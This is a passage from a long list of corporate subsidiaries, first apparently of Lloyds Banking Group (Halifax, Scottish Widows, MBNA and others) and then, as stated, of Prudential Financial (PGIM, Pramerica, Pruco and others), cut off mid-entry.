Cheltenham Securities 2017 Ltd, Chepstow Blue Holdings Ltd, Chepstow Blue plc, Chester Asset Options No.2 Ltd, Chester Asset Options No.3 Ltd, Chester Asset Receivables Dealings Issuer Ltd, Chester Asset Securitisation Holdings Ltd, Chester Asset Securitisation Holdings No.2 Ltd, Chiswell Stockbrokers Ltd, Clerical Medical Finance plc, Clerical Medical Financial Services Ltd, Clerical Medical International Holdings B.V., Clerical Medical Investment Fund Managers Ltd, Clerical Medical Managed Funds Ltd, Clerical Medical Non Sterling Guadalix Hold Co BV, Clerical Medical Non Sterling Guadalix Spanish Prop Co SL, Clerical Medical Non Sterling Megapark Hold Co BV, Clerical Medical Non Sterling Megapark Prop Co SA, Clerical Medical Non Sterling Property Company S.A.R.L., Cloak Lane Funding S.A.R.L., Cloak Lane Investments S.A.R.L., Conquest Securities Ltd, Corbiere Asset Investments Ltd, Create Services Ltd, Credit Card Securitisation Europe Ltd, Dalkeith Corporation, Deva Financing Holdings Ltd, Deva Financing plc, Deva One Ltd, Deva Three Ltd, Deva Two Ltd, Dunstan Investments (UK) Ltd, Edgbaston RMBS 2010-1 plc, Edgbaston RMBS Holdings Ltd, Elland RMBS 2018 plc, Elland RMBS Holdings Ltd, Eurolead Services Holdings Ltd, First Retail Finance (Chester) Ltd, Fontwell Securities 2016 Ltd, Forthright Finance Ltd, France Industrial Premises Holding Company, General Leasing (No. 12) Ltd, General Reversionary and Investment Company, Gresham Nominee 1 Ltd, Gresham Nominee 2 Ltd, Gresham Receivables (No. 1) Ltd, Gresham Receivables (No. 10) Ltd, Gresham Receivables (No. 11) UK Ltd, Gresham Receivables (No. 12) Ltd, Gresham Receivables (No. 13) UK Ltd, Gresham Receivables (No. 14) UK Ltd, Gresham Receivables (No. 15) UK Ltd, Gresham Receivables (No. 16) UK Ltd, Gresham Receivables (No. 19) UK Ltd, Gresham Receivables (No. 20) Ltd, Gresham Receivables (No. 21) Ltd, Gresham Receivables (No. 22) Ltd, Gresham Receivables (No. 23) Ltd, Gresham Receivables (No. 24) Ltd, Gresham Receivables (No. 25) UK Ltd, Gresham Receivables (No. 26) UK Ltd, Gresham Receivables (No. 27) UK Ltd, Gresham Receivables (No. 28) Ltd, Gresham Receivables (No. 29) Ltd, Gresham Receivables (No. 3) Ltd, Gresham Receivables (No. 30) UK Ltd, Gresham Receivables (No. 31) UK Ltd, Gresham Receivables (No. 32) UK Ltd, Gresham Receivables (No. 33) UK Ltd, Gresham Receivables (No. 34) UK Ltd, Gresham Receivables (No. 35) Ltd, Gresham Receivables (No. 36) UK Ltd, Gresham Receivables (No. 37) UK Ltd, Gresham Receivables (No. 38) UK Ltd, Gresham Receivables (No. 39) UK Ltd, Gresham Receivables (No. 40) UK Ltd, Gresham Receivables (No. 41) UK Ltd, Gresham Receivables (No. 44) UK Ltd, Gresham Receivables (No. 45) UK Ltd, Gresham Receivables (No. 46) UK Ltd, Gresham Receivables (No. 47) UK Ltd, Gresham Receivables (No. 48) UK Ltd, Guildhall Asset Purchasing Company (No 3) Ltd, Guildhall Asset Purchasing Company (No.11) UK Ltd, HBOS Covered Bonds LLP, HBOS Final Salary Trust Ltd, HBOS Financial Services Ltd, HBOS Insurance & Investment Group Ltd, HBOS International Financial Services Holdings Ltd, HBOS Investment Fund Managers Ltd, HBOS Social Housing Covered Bonds LLP, HBOS UK Ltd, HBOS plc, HSDL Nominees Ltd, HVF Ltd, Halifax Credit Card Ltd, Halifax Financial Brokers Ltd, Halifax Financial Services (Holdings) Ltd, Halifax Financial Services Ltd, Halifax General Insurance Services Ltd, Halifax Group Ltd, Halifax Investment Services Ltd, Halifax Leasing (June) Ltd, Halifax Leasing (March No.2) Ltd, Halifax Leasing (September) Ltd, Halifax Life Ltd, Halifax Loans Ltd, Halifax Ltd, Halifax Mortgage Services Ltd, Halifax Nominees Ltd, Halifax Pension Nominees Ltd, Halifax Premises Ltd, Halifax Share Dealing Ltd, Halifax Vehicle Leasing (1998) Ltd, Heidi Finance Holdings (UK) Ltd, Hill Samuel Bank Ltd, Hill Samuel Finance Ltd, Hill Samuel Leasing Co. Ltd, Home Shopping Personal Finance Ltd, Horizon Capital 2000 Ltd, Housing Association Risk Transfer 2019 DAC, Housing Growth Partnership GP LLP, Housing Growth Partnership LP, Housing Growth Partnership Ltd, Housing Growth Partnership Manager Ltd, Hyundai Car Finance Ltd, IBOS Finance Ltd, ICC Enterprise Partners Ltd, ICC Equity Partners Ltd, ICC Holdings Unlimited Company, Inchcape Financial Services Ltd, Intelligent Finance Financial Services Ltd, Intelligent Finance Software Ltd, International Motors Finance Ltd, Kanaalstraat Funding C.V., Katrine Leasing Ltd, LB Healthcare Trustee Ltd, LB Motorent Ltd, LB Quest Ltd, LB Share Schemes Trustees Ltd, LBCF Ltd, LBG Brasil Administracao LTDA, LBG Capital Holdings Ltd, LBG Equity Investments Ltd, LBI Leasing Ltd, LDC (General Partner) Ltd, LDC (Managers) Ltd, LDC (Nominees) Ltd, LDC GP LLP, LDC I LP, LDC II LP, LDC III LP, LDC IV LP, LDC Parallel (Nominees) Ltd, LDC V LP, LDC VI LP, LDC VII LP, LDC VIII LP, LTGP Limited Partnership Incorporated, Legacy Renewal Company Ltd, Leicester Securities 2014 Ltd, Lex Autolease (CH) Ltd, Lex Autolease (VC) Ltd, Lex Autolease Carselect Ltd, Lex Autolease Ltd, Lex Vehicle Finance 2 Ltd, Lex Vehicle Leasing (Holdings) Ltd, Lex Vehicle Leasing Ltd, Lime Street (Funding) Ltd, Lingfield 2014 I Holdings Ltd, Lingfield 2014 I plc, Lloyds (Gresham) Ltd, Lloyds (Gresham) No. 1 Ltd, Lloyds (Nimrod) Specialist Finance Ltd, Lloyds America Securities Corporation1, Lloyds Asset Leasing Ltd, Lloyds Bank (Branches) Nominees Ltd, Lloyds Bank (Colonial & Foreign) Nominees Ltd, Lloyds Bank (Fountainbridge 1) Ltd, Lloyds Bank (Fountainbridge 2) Ltd, Lloyds Bank (I.D.) Nominees Ltd, Lloyds Bank (International Services) Ltd, Lloyds Bank (Stock Exchange Branch) Nominees Ltd, Lloyds Bank Asset Finance Ltd, Lloyds Bank Commercial Finance Ltd, Lloyds Bank Commercial Finance Scotland Ltd, Lloyds Bank Corporate Asset Finance (HP) Ltd, Lloyds Bank Corporate Asset Finance (No.1) Ltd, Lloyds Bank Corporate Asset Finance (No.2) Ltd, Lloyds Bank Corporate Asset Finance (No.3) Ltd, Lloyds Bank Corporate Asset Finance (No.4) Ltd, Lloyds Bank Corporate Markets Wertpapierhandelsbank GmbH, Lloyds Bank Corporate Markets plc, Lloyds Bank Covered Bonds (Holdings) Ltd, Lloyds Bank Covered Bonds (LM) Ltd, Lloyds Bank Covered Bonds LLP, Lloyds Bank Equipment Leasing (No. 1) Ltd, Lloyds Bank Equipment Leasing (No. 7) Ltd, Lloyds Bank Equipment Leasing (No. 9) Ltd, Lloyds Bank Financial Services (Holdings) Ltd, Lloyds Bank Foundation for England & Wales, Lloyds Bank Foundation for the Channel Islands, Lloyds Bank General Insurance Holdings Ltd, Lloyds Bank General Insurance Ltd, Lloyds Bank General Leasing (No. 11) Ltd, Lloyds Bank General Leasing (No. 17) Ltd, Lloyds Bank General Leasing (No. 20) Ltd, Lloyds Bank General Leasing (No. 3) Ltd, Lloyds Bank General Leasing (No. 5) Ltd, Lloyds Bank GmbH, Lloyds Bank Hill Samuel Holding Company Ltd, Lloyds Bank Insurance Services Ltd, Lloyds Bank International Ltd, Lloyds Bank Leasing (No. 6) Ltd, Lloyds Bank Leasing (No. 8) Ltd, Lloyds Bank Leasing Ltd, Lloyds Bank MTCH Ltd, Lloyds Bank Maritime Leasing (No. 10) Ltd, Lloyds Bank Maritime Leasing (No. 13) Ltd, Lloyds Bank Maritime Leasing (No. 17) Ltd, Lloyds Bank Maritime Leasing (No.16) Ltd, Lloyds Bank Nominees Ltd, Lloyds Bank Offshore Pension Trust Ltd, Lloyds Bank Pension ABCS (No. 1) LLP, Lloyds Bank Pension ABCS (No. 2) LLP, Lloyds Bank Pension Trust (No. 1) Ltd, Lloyds Bank Pension Trust (No. 2) Ltd, Lloyds Bank Pensions Property (Guernsey) Ltd, Lloyds Bank Properties Ltd, Lloyds Bank Property Company Ltd, Lloyds Bank S.F. Nominees Ltd, Lloyds Bank Subsidiaries Ltd, Lloyds Bank Trustee Services Ltd, Lloyds Bank plc, Lloyds Banking Group Pensions Trustees Ltd, Lloyds Capital GP Ltd, Lloyds Commercial Leasing Ltd, Lloyds Commercial Properties Ltd, Lloyds Commercial Property Investments Ltd, Lloyds Corporate Services (Jersey) Ltd, Lloyds Development Capital (Holdings) Ltd, Lloyds Engine Capital (No.1) U.S LLC, Lloyds Far East S.A.R.L., Lloyds General Leasing Ltd, Lloyds Group Holdings (Jersey) Ltd, Lloyds Holdings (Jersey) Ltd, Lloyds Hypotheken B.V., Lloyds Industrial Leasing Ltd, Lloyds International Pty Ltd, Lloyds Investment Bonds Ltd, Lloyds Investment Fund Managers Ltd, Lloyds Investment Securities No.5 Ltd, Lloyds Leasing (North Sea Transport) Ltd1, Lloyds Leasing Developments Ltd, Lloyds Nominees (Guernsey) Ltd, Lloyds Offshore Global Services Private Ltd, Lloyds Plant Leasing Ltd, Lloyds Portfolio Leasing Ltd, Lloyds Premises Investments Ltd, Lloyds Project Leasing Ltd, Lloyds Property Investment Company No. 3 Ltd, Lloyds Property Investment Company No. 4 Ltd, Lloyds Property Investment Company No.5 Ltd, Lloyds Secretaries Ltd, Lloyds Securities Inc., Lloyds TSB Pacific Ltd, Lloyds UDT Asset Leasing Ltd, Lloyds UDT Asset Rentals Ltd, Lloyds UDT Hiring Ltd, Lloyds UDT Leasing Ltd, Lloyds UDT Ltd, Lloyds Your Tomorrow Trustee Ltd, Loans.co.uk Ltd, London Taxi Finance Ltd, London Uberior (L.A.S. Group) Nominees Ltd, Lotus Finance Ltd, MBNA, MBNA Direct Ltd, MBNA Europe Finance Ltd, MBNA Europe Holdings Ltd, MBNA General Foundation, MBNA Global Services Ltd, MBNA Indian Services Private Ltd, MBNA Ltd, MBNA R & L S.A.R.L., MBNA Receivables Ltd, Mainsearch Company Ltd, Maritime Leasing (No. 19) Ltd, Membership Services Finance Ltd, Mitre Street Funding S.A.R.L., Molineux RMBS 2016-1 plc, Molineux RMBS Holdings Ltd, Moor Lane Holdings Ltd, NFU Mutual Finance Ltd, NWS Trust Ltd, Nominees (Jersey) Ltd, Nordic Leasing Ltd, Ocean Leasing (July) Ltd, Oystercatcher Nominees Ltd, Oystercatcher Residential Ltd, PIPS Asset Investments Ltd, Pacific Leasing Ltd, Penarth Asset Securitisation Holdings Ltd, Penarth Funding 1 Ltd, Penarth Funding 2 Ltd, Penarth Master Issuer plc, Penarth Receivables Trustee Ltd, Pensions Management (S.W.F.) Ltd, Peony Eastern Leasing Ltd, Peony Leasing Ltd, Peony Western Leasing Ltd, Permanent Funding (No. 1) Ltd, Permanent Funding (No. 2) Ltd, Permanent Holdings Ltd, Permanent Master Issuer plc, Permanent Mortgages Trustee Ltd, Permanent PECOH Holdings Ltd, Permanent PECOH Ltd, Perry Nominees Ltd, Prestonfield Investments Ltd, Proton Finance Ltd, R.F. Spencer And Company Ltd, Ranelagh Nominees Ltd, Retail Revival (Burgess Hill) Investments Ltd, SARL Coliseum, SARL Hiram, SAS Compagnie Fonciere De France, SCI Astoria Invest, SCI De LHorloge, SCI Equinoxe, SCI Rambuteau CFF, SW Funding plc, SW No.1 Ltd, SWAMF (GP) Ltd, SWAMF Nominee (1) Ltd, SWAMF Nominee (2) Ltd, Saint Michel Holding Company No1, Saint Michel Investment Property, Saint Witz 2 Holding Company No1, Saint Witz 2 Investment Property, Salisbury II Securities 2016 Ltd, Salisbury II-A Securities 2017 Ltd, Salisbury III Securities 2019 DAC, Salisbury Securities 2015 Ltd, Sandown 2012-2 Holdings Ltd, Sandown 2012-2 plc, Sandown Gold 2012-1 Holdings Ltd, Sandown Gold 2012-1 plc, Savban Leasing Ltd, Scotland International Finance B.V., Scottish Widows Administration Services (Nominees) Ltd, Scottish Widows Administration Services Ltd, Scottish Widows Annuities Ltd, Scottish Widows Auto Enrolment Services Ltd, Scottish Widows Europe, Scottish Widows Financial Services Holdings, Scottish Widows Group Ltd, Scottish Widows Industrial Properties Europe B.V., Scottish Widows Ltd, Scottish Widows Pension Trustees Ltd, Scottish Widows Property Management Ltd, Scottish Widows Schroder Personal Wealth (ACD) Ltd, Scottish Widows Schroder Personal Wealth Ltd, Scottish Widows Schroder Wealth Holdings Ltd, Scottish Widows Services Ltd, Scottish Widows Trustees Ltd, Scottish Widows Unit Funds Ltd, Scottish Widows Unit Trust Managers Ltd, Scottish Widows Fund and Life Assurance Society, Seabreeze Leasing Ltd, Seaspirit Leasing Ltd, Share Dealing Nominees Ltd, Shogun Finance Ltd, Silentdale Ltd, St Andrews Group Ltd, St Andrews Insurance plc, St Andrews Life Assurance plc, St. Marys Court Investments, Standard Property Investment (1987) Ltd, Standard Property Investment Ltd, Sussex County Homes Ltd, Suzuki Financial Services Ltd, Swan Funding 2 Ltd, Syon Securities 2019 DAC, The Agricultural Mortgage Corporation Plc, The British Linen Company Ltd, The Halifax Foundation for Northern Ireland, The Mortgage Business plc, Thistle Financing Holdings Ltd, Thistle Investments (AMC) Ltd, Thistle Investments (ERM) Ltd, Thistle Leasing, Three Copthall Avenue Ltd, Tower Hill Property Investments (10) Ltd, Tower Hill Property Investments (7) Ltd, Tranquility Leasing Ltd, Trinity Financing plc, UDT Budget Leasing Ltd, UDT Sales Finance Ltd, Uberior (Moorfield) Ltd, Uberior Co-Investments Ltd, Uberior ENA Ltd, Uberior Equity Ltd, Uberior Europe Ltd, Uberior Fund Investments Ltd, Uberior Infrastructure Investments (No.2) Ltd, Uberior Infrastructure Investments Ltd, Uberior Investments Ltd, Uberior Nominees Ltd, Uberior Trading Ltd, Uberior Trustees Ltd, Uberior Ventures Australia Pty Ltd, Uberior Ventures Ltd, United Dominions Leasing Ltd, United Dominions Trust Ltd, Universe The CMI Global Network Fund, Upsaala Ltd, Vine Street IX LP, WCS Ltd, Ward Nominees (Abingdon) Ltd, Ward Nominees (Birmingham) Ltd 1, Ward Nominees (Bristol) Ltd 1, Ward Nominees Ltd 1, Waverley Fund II Investor LLC, Waverley Fund III Investor LLC, Waymark Asset Investments Ltd, West Craigs Ltd, Wetherby II Securities 2018 DAC, Wetherby III Securities 2019 DAC, Wetherby Securities 2017 Ltd, Wood Street Leasing Ltd, and Zurich Insurance Group - UK Workplace Pensions and Savings Business. The following companies are subsidiares of Prudential Financial: 210-220 E. 22nd Street SSGA Owner LLC, AIG Edison, AIG Star, AREF Cayman Co Ltd., AREF GP II Pte. Ltd., AREF GP Ltd., ASPF II - Feeder Fund GmbH, ASPF II - Verwaltungs - GmbH & Co. KG, ASPF II Management GmbH, ASPF III (Scots) L.P., ASSURANCE, AST Investment Services Inc., Adlerwerke CB Investment LLC, Administradora de Fondos de Pensiones Habitat S.A., Administradora de Inversiones Previsionales SpA, Aoba Life Insurance Company, Asia Property Fund III GP S.a.r.l., Assurance IQ LLC, Assurance Intelligence LLC, BSC CP LP, Braeloch Holdings Inc., Braeloch Successor Corporation, Brazilian Capital Fund GP Limited, Broad Street Global Advisors LLC, Broome Street Holdings LLC, CB German Retail LLC, CLIS Co. Ltd., COLICO INC., Campus Drive LLC, Capital Agricultural Property Services Inc., Chadwick Boulevard Investment Holdings Co. LLC, Cibecue LLC, Coconino LLC, Colico II Inc., Columbus Drive Partners L.P., Commerce Street Holdings LLC, Commerce Street Investments LLC, Coolidge LLC, Coral Reef GP, Coral Reef L.P., Coral Reef Unit Trust, Cottage Street Investments LLC, Cottage Street Orbit Acquisition LLC, DHFL PRAMERICA LIFE INSURANCE COMPANY LIMITED, DICKENS AVENUE HOLDINGS VI LLC, DICKENS AVENUE PARTNERS VI (Ireland) L.P., DICKENS AVENUE PARTNERS VI (US) L.P., Don Cesar Investor LLC, Dryden Arizona Reinsurance Term Company, Dryden Finance II LLC, EVP II GP S.a r.l., EVP II Sweden Resi I GP S.a r.l., Edison Place Senior Note LLC, Essex LLC, EuroCore GP S.a r.l., European Value Partners GP S.a.r.l., Everbright PGIM Fund Management Co. Ltd., Flagstaff LLC, GA 1600 Commons LLC, GA 333 Hennepin Investor LLC, GA BV LLC, GA Bay Area GP LLC, GA Bay Area Investor LLC, GA Belden LLC, GA CLARENDON LLC, GA Cal Crossings LLC, GA Collins LLC, GA E. 22nd Street Apartments Holdings LLC, GA East 86 Street LLC, GA JHCII LLC, GA MENLO PARK INVESTOR LLC, GA Manor at Harbour Island LLC, GA Metro LLC, GA Mission LLC, GA TRITON INVESTOR LLC, GA W Paces LLC, GA/MDI 333 Hennepin Associates LLC, GIBRALTAR BSN HOLDINGS SDN BHD, GIBRALTAR INDIA SOLUTIONS LLP, Gateway Holdings II LLC, Gateway Holdings LLC, German Retail Income CP LP, Gibraltar BSN Life Berhad, Gibraltar International Insurance Services Company Inc., Gibraltar International Service LLC, Gibraltar Reinsurance Company Ltd., Gibraltar Universal Life Reinsurance Company, Glenealy International Limited, Global Portfolio Strategies Inc., Gold GP Limited, Gold II L.P., Gold L.P., Graham Resources Inc., Graham Royalty Ltd., Green Tree GP, Green Tree L.P., Greenlee LLC, Halsey Street Investments LLC, Hirakata LLC, IVP Fund GP LLC, Impact Investments Bridges UK S.a.r.l, Inter-Atlantic G Fund L.P., Inversiones Previsionales Chile SpA, Inversiones Previsionales Dos SpA, Ironbound Fund LLC, Jennison Associates LLC, Kyarra S.a r.l., Kyoei Annuity Home Co. Ltd., LINEUP LLC, Lake Street Partners IV L.P., MC GA COLLINS HOLDINGS LLC, MC GA COLLINS REALTY LLC, MC Insurance Agency Services LLC, Manor at Harbour Island LLC, Marble Canyon LLC, Maricopa LLC, Market Street Holdings IV LLC, Morenci LLC, Mulberry Street Holdings LLC, Mulberry Street Investment L.P., Mulberry Street Partners LLC, Mullin TBG Insurance Agency Services LLC, MullinTBG Insurance Agency Services, National Family Assurance Group LLC, New Savanna, Orchard Street Acres Inc., PAI Bay Farm LLC, PAI Bayrock Groves LLC, PAI Belvidere Farms LLC, PAI Big Cypress Farm LLC, PAI Corcoran 640 Ranch LLC, PAI DeKalb Farm LLC, PAI Delano 1500 Ranches LLC, PAI Flicker Orchard LLC, PAI Good Hope Farm LLC, PAI Hawk Creek Ranch LLC, PAI Hills Valley Ranches LLC, PAI Holly Hill Groves LLC, PAI Hunt Farm LLC, PAI Jackson Bayou Farm LLC, PAI Lake Placid Groves LLC, PAI Wallula Gap Vineyard LLC, PCP V Cayman AIV GP L.P., PEREF II Co-Invest 1 GP S.a r.l., PEREF II GP S.a r.l., PEREF II PV S.r.l, PFI EM-Tech Fund I LLC, PG Business Service Co. Ltd, PG Collection Service Co. Ltd., PGA Asian Retail Limited, PGA European Limited, PGI Co. Ltd, PGIM (Australia) Pty Ltd, PGIM (Hong Kong) Ltd., PGIM (Scots) Limited, PGIM (Shanghai) Company Ltd., PGIM (Singapore) Pte. Ltd., PGIM AVP IV GP S.a r.l., PGIM Advisory (Shanghai) Co. Ltd., PGIM Agricultural Investments GP LLC, PGIM Agricultural Investors LP, PGIM Broad Market High Yield Bond Fund L.P., PGIM Broad Market High Yield Bond Partners LLC, PGIM Capital Partners Management (Feeder) VI LLC, PGIM Capital Partners Management Fund VI L.P., PGIM European Financing Limited, PGIM European Services Limited, PGIM Financial Limited, PGIM Fixed Income Alternatives Fund II L.P., PGIM Fixed Income Alternatives Fund L.P., PGIM Fixed Income Alternatives GP LLC, PGIM Fixed Income Alternatives II GP LLC, PGIM Foreign Investments Inc., PGIM Holding Company LLC, PGIM INDIA ASSET MANAGEMENT PRIVATE LIMITED, PGIM INDIA TRUSTEES PRIVATE LIMITED, PGIM Inc., PGIM International Financing Inc., PGIM Investments LLC, PGIM Japan Co. Ltd., PGIM Korea Inc., PGIM LTIF Berlin GP S.a r.l., PGIM LTIF Berlin MLP S.ar.l., PGIM LTIF GP S.a.r.l., PGIM Limited, PGIM Loan Originator Manager Limited, PGIM M Campus GP S.a r.l., PGIM Management Partner Limited, PGIM MetaProp Investor LP LLC, PGIM Netherlands B.V., PGIM Overseas Investment Fund Management (Shanghai) Company Ltd, PGIM Private Capital (Ireland) Limited, PGIM Private Capital Limited, PGIM Private Placement Investors Inc., PGIM Private Placement Investors L.P., PGIM REF EUROPE SCSp, PGIM REF Europe GP S.a r.l., PGIM REF Europe Member LLC, PGIM REF Intermediary Services Inc., PGIM Real Estate (Japan) Ltd., PGIM Real Estate (UK) Limited, PGIM Real Estate CD S.a.r.l., PGIM Real Estate Capital VII GP S.a r.l., PGIM Real Estate Carry & Co-Invest GP LLC, PGIM Real Estate Carry & Co-Invest GP S.a r.l., PGIM Real Estate Carry & Co-Invest L.P., PGIM Real Estate Carry & Co-Invest SCSp, PGIM Real Estate Co-Invest Holdings LLC, PGIM Real Estate Debt GmbH, PGIM Real Estate Finance Holding Company, PGIM Real Estate Finance LLC, PGIM Real Estate France SAS, PGIM Real Estate Germany AG, PGIM Real Estate Global Debt GP LLC, PGIM Real Estate Inmuebles S. de R.L. de C.V, PGIM Real Estate Italy S.r.l., PGIM Real Estate Loan Services Inc., PGIM Real Estate Luxembourg S.A., PGIM Real Estate MVP Administradora IV S. de R.L. de C.V., PGIM Real Estate MVP Administradora V S. de R.L. de C.V., PGIM Real Estate MVP Inmuebles IV S. de R.L. de C.V., PGIM Real Estate MVP Inmuebles V S. de R.L. de C.V., PGIM Real Estate Management Luxembourg S.a.r.l., PGIM Real Estate Mexico S.C., PGIM Real Estate S. de R.L. de C.V., PGIM Real Estate U.S. Debt Fund GP LLC, PGIM Senior Loan Opportunities Management (Feeder) I LLC, PGIM Senior Loan Opportunities Management Fund I L.P., PGIM Strategic Financing LLC, PGIM Strategic Investments Inc., PGIM USPF VI Manager LLC, PGIM Warehouse Inc., PGLH of Delaware Inc., PIFM Holdco LLC, PIIC Limited, PIISC Holdings (UK) Limited, PIM KF Blocker Holdings LLC, PIM KF Blocker V Holdings LLC, PIM USPF V Manager LLC, PLA Administradora Industrial SRL, PLA Administradora LLC, PLA Administradora S. de R.L. de C.V., PLA Asesoria Profesional II S. de R.L. de C.V., PLA Asesoria Profesional S.de R.L. de C.V., PLA Co-Investor LLC, PLA Mexico Industrial Manager I LLC, PLA Mexico Industrial Manager II LLC, PLA Mexico Residential Manager I LLC, PLA Residential Fund III Aggregating Manager LLC, PLA Residential Fund III Limited Manager LLC, PLA Residential Fund III Manager LLC, PLA Residential Fund IV Aggregating Manager LLC, PLA Residential Fund IV Manager LLC, PLA Retail Fund I Blue LP, PLA Retail Fund I LP, PLA Retail Fund I Manager LLC, PLA Retail Fund I Red LP, PLA Retail Fund II Aggregating Manager LLC, PLA Retail Fund II LLC, PLA Retail Fund II LP, PLA Retail Fund II Manager LLC, PLA Retail Fund II U.S. Carry/Co-Invest LP, PLA Services Manager Mexico LLC, PLAI Limited, PMCF Holdings LLC, PMCF Properties LLC, PPPF General Partner LLP, PR GA SCP Apartments LLC, PRAMERICA PRECAP VI GP (SCOTS FEEDER) LLP, PRAMERICA PRECAP VI GP LLP, PRECO ACCOUNT III LLC, PRECO ACCOUNT PARTNERSHIP III LP, PRECO Account IV LLC, PRECO Account Partnership IV LP, PRECO III GP LLP, PREFG Hanwha Manager LLC, PREI Acquisition I Inc., PREI Acquisition II Inc., PREI Acquisition LLC, PREI HYDG LLC, PREI International Inc., PRIAC Property Acquisitions LLC, PRICOA Management Partner Limited, PRISA Fund Manager LLC, PRISA II Fund Manager LLC, PRISA II Pooled Manager LLC, PRISA III Fund GP LLC, PRISA III Fund PIM LLC, PRREF II Fund Manager LLC, PRU 3XSquare LLC, PRUCO LLC, PRUDENTIAL CAPITAL ENERGY PARTNERS MANAGEMENT (FEEDER) LLC, PRUDENTIAL MORTGAGE SKP MEMBER LLC, PRUDENTIAL MORTGAGE SKP REIT LLC, PRUDENTIAL MORTGAGE SKP VENTURE 2 LLC, PRUDENTIAL MORTGAGE SKP VENTURE LLC, PT PFI Mega Life Insurance, Passaic Fund LLC, Pine Tree GP, Pine Tree L.P., Platinum GP Limited, Platinum II L.P., Platinum L.P., Pramerica (Hong Kong) Holdings Limited, Pramerica (Luxembourg) CP GP S.a.r.l., Pramerica (Scots) CP GP LLP, Pramerica Business Consulting (Shanghai) Company Limited, Pramerica EVP CP LP, Pramerica Financial Asia Headquarters Pte. Ltd., Pramerica Financial Asia Limited, Pramerica Fixed Income Funds Management Limited, Pramerica Fosun Life Insurance Co. Ltd., Pramerica General Partner LLP, Pramerica Holdings Ltd, Pramerica Insurance Agency (China) Company Ltd., Pramerica PRECAP I GP LLP, Pramerica PRECAP II GP LLP, Pramerica PRECAP III GP LLP, Pramerica PRECAP IV GP LLP, Pramerica Pan European Real Estate (Scots) LP, Pramerica Property Partners Fund (Scotland) Limited Partnership, Pramerica Real Estate Capital I (Scotland) Limited Partnership, Pramerica Real Estate Capital I GP (Scots Feeder) LLP, Pramerica Real Estate Capital II (Scots) Limited Partnership, Pramerica Real Estate Capital III (Scots) Limited Partnership, Pramerica Real Estate Capital IV (Scots) Limited Partnership, Pramerica Real Estate Capital IV GP (Scots Feeder) LLP, Pramerica Real Estate Capital IV GP Limited, Pramerica Real Estate Capital V (Netherlands) GP LLP, Pramerica Real Estate Capital V (Scots) Limited Partnership, Pramerica Real Estate Capital VI (Scots) Limited Partnership, Pramerica SGR S.p.A, Pramerica Systems Ireland Limited, Preco III (Scotland) Limited Partnership, Pru 101 Wood LLC, Pru Alpha Partners I LLC, Pru Fixed Income Emerging Markets Partners I LLC, PruVen Capital Partners Fund I L.P., Pruco Assignment Corporation, Pruco Life Insurance Company, Pruco Life Insurance Company of New Jersey, Pruco Securities LLC, Prudential 900 Aviation Boulevard LLC, Prudential Affordable Mortgage Company LLC, Prudential Agricultural Property Holding Company LLC, Prudential Annuities Distributors Inc., Prudential Annuities Holding Company Inc., Prudential Annuities Inc., Prudential Annuities Information Services & Technology Corporation, Prudential Annuities Life Assurance Corporation, Prudential Arizona Reinsurance Captive Company, Prudential Arizona Reinsurance Term Company, Prudential Arizona Reinsurance Universal Company, Prudential Bank & Trust FSB, Prudential Capital Energy Opportunity Fund L.P., Prudential Capital Energy Partners L.P., Prudential Capital Energy Partners Management Fund L.P., Prudential Capital Partners Management Fund IV L.P., Prudential Capital and Investment Services LLC, Prudential Chile II SpA, Prudential Chile SpA, Prudential Commercial Property Holding Company LLC, Prudential Customer Solutions LLC, Prudential Equity Group LLC, Prudential Financial Securities Investment Trust Enterprise, Prudential Fixed Income Global Liquidity Relative Value Partners LLC, Prudential Fixed Income U.S. Relative Value Partners LLC, Prudential Funding LLC, Prudential General Services of Japan Y.K., Prudential Gibraltar Agency Co. Ltd., Prudential Global Funding LLC, Prudential Holdings of Japan Inc., Prudential Huntoon Paige Associates LLC, Prudential IBH Holdco Inc., Prudential Impact Investments Mortgage Loans LLC, Prudential Impact Investments Private Debt LLC, Prudential Impact Investments Private Equity LLC, Prudential Industrial Properties LLC, Prudential Insurance Agency LLC, Prudential International Insurance Holdings Ltd., Prudential International Insurance Service Company L.L.C., Prudential International Investments Advisers LLC, Prudential International Investments Company LLC, Prudential International Investments LLC, Prudential Investment Management Services LLC, Prudential Japan Holdings LLC, Prudential Legacy Insurance Company of New Jersey, Prudential Life Insurance Company of Taiwan Inc., Prudential Mortgage Asset Holdings 1 Japan Investment Business Limited Partnership, Prudential Mortgage Asset Holdings 2 Japan Investment Business Limited Partnership, Prudential Mortgage Capital Asset Holding Company LLC, Prudential Mortgage Capital Funding LLC, Prudential Mortgage Capital Holdings LLC, Prudential Multifamily Mortgage LLC, Prudential Mutual Fund Services LLC, Prudential Newark Realty LLC, Prudential QOZ Investment Fund 1 LLC, Prudential Realty Securities Inc., Prudential Retirement Financial Services Holding LLC, Prudential Retirement Holdings LLC, Prudential Retirement Insurance and Annuity Company, Prudential Securities Secured Financing Corporation, Prudential Securities Structured Assets Inc., Prudential Seguros Mexico S.A. de C.V., Prudential Seguros S.A., Prudential Servicios S. de R.L. de C.V., Prudential Structured Settlement Company, Prudential Systems Japan Limited, Prudential Term Reinsurance Company, Prudential Trust Co. Ltd., Prudential Trust Company, Prudential Universal Reinsurance Company, Prudential Workplace Solutions Group Services LLC, Prudential do Brasil Seguros de Vida S.A., Prudential do Brasil Vida em Grupo S.A., Prudential/TMW Real Estate Group LLC, Pruservicos Participacoes Ltda., QMA JP EM All Cap Equity Partners LLC, QMA LLC, QMA Wadhwani LLP, Quartzsite LLC, Residential Services Corporation of America LLC, Rio CP LP, Rock European Real Estate Holdings S.ar.l., Rock Global Real Estate LLC, Rock Kensington Limited, Rock Marty GP S.a r.l., Rock Oxford S.a r.l., Rock UK Real Estate Holdings S.ar.l., Rock UK Real Estate II S.a.r.l., Rockstone Co. Ltd., Rosado Grande LLC, Ross Avenue Energy Fund Holdings LLC, Ross Avenue Minerals 2012 LLC, SCP Apartments LLC, SENIOR HOUSING PARTNERS VI GP LLC, SENIOR HOUSING PARTNERSHIP FUND VI GP LLC, SHP IV Carried Interest LP, SHP V Carried Interest L.P., SMP Holdings Inc., SVIIT Holdings Inc., Sanei Collection Service Co. Ltd. (Kabushiki Kaisha Sanei Shuuno Service), Senior Housing Partners IV L.L.C., Senior Housing Partners V LLC, Senior Housing Partnership Fund IV L.L.C., Senior Housing Partnership Fund V LLC, Sterling Private Placement Management LLP, Stetson Street Partners L.P., Strand Investments Limited, TBG Insurance Services Corporation, TENSATOR HOLDINGS LTD, TF Proveedora S.C., TMW ASPF I Verwaltungs GmbH & Co. KG, TMW ASPF Management GmbH, TMW Management LLC, TMW Real Estate Group 